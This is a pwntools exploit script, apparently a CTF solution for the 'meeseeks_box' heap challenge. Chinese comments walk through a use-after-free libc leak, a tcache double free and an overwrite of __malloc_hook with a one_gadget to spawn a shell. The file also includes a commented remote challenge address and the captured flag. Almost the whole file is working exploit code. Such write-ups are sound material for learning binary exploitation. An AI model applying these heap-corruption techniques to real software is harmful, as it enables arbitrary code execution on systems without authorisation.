#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'

r = process('./meeseeks_box', env={'LD_PRELOAD':'./libc.so.6'})
#r = remote('60.250.197.227',10005)
libc = ELF('./libc.so.6')

'''
free之後沒有將指標清掉，在create的時候
存指標的buf，每一個都會寫成一樣的，造成UAF。
'''

def cmd(x):
    r.recvuntil('> ')
    r.sendline(str(x))

def create(l,s):
    cmd(1)
    r.recvuntil('Size: ')
    r.sendline(str(int(l)))
    r.recvuntil('Request: ')
    r.sendline(s)

def show(i):
    cmd(2)
    r.recvuntil('ID: ')
    r.sendline(str(i))

def delete(i):
    cmd(3)
    r.recvuntil('ID: ')
    r.sendline(str(i))

# 建一塊可以進unsorted bin的
create(0x49f, b'a') #0
# 防止#0跟top chunk合併
create(0x68, b'b') #1

# 刪掉#0洩漏出glibc位置
delete(0)
show(4)

# 0x3ebca0這個offset是固定的，可以在gdb中算出來
libc_base = u64(r.recvuntil('\n')[:-1].ljust(8,b'\x00')) - 0x3ebca0
# 其實也可以用 __free_hook (tcache的檢查很鬆)
malloc_hook = libc_base + libc.symbols[b'__malloc_hook']
log.info('libc_base : {}'.format(hex(libc_base)))
log.info('malloc_hook : {}'.format(hex(malloc_hook)))
one_gadget = libc_base + 0x10a38c 

create(0x68, b'd') #2

'''
Tcache double free attack
tcache的檢查很鬆，沒檢查double free
'''
delete(2)
delete(2)

'''
tcache的檢查很鬆，甚至連要
malloc的chunk size都沒檢查
(fastbin是有檢查的)
所以可以達到任意寫入
'''

create(0x68, p64(malloc_hook))
create(0x68, b'e')
create(0x68, p64(one_gadget))

# fast double free attack 的做法
#create(0x68, p64(malloc_hook-0x1b))
#create(0x68, b'e')
#create(0x68, b'a'*0x1b + p64(one_gadget))

# AIS3{G0D_d4mn!_Mr._M3e5EEk5_g1V3S_Y0U_@_sH31l}
r.interactive()
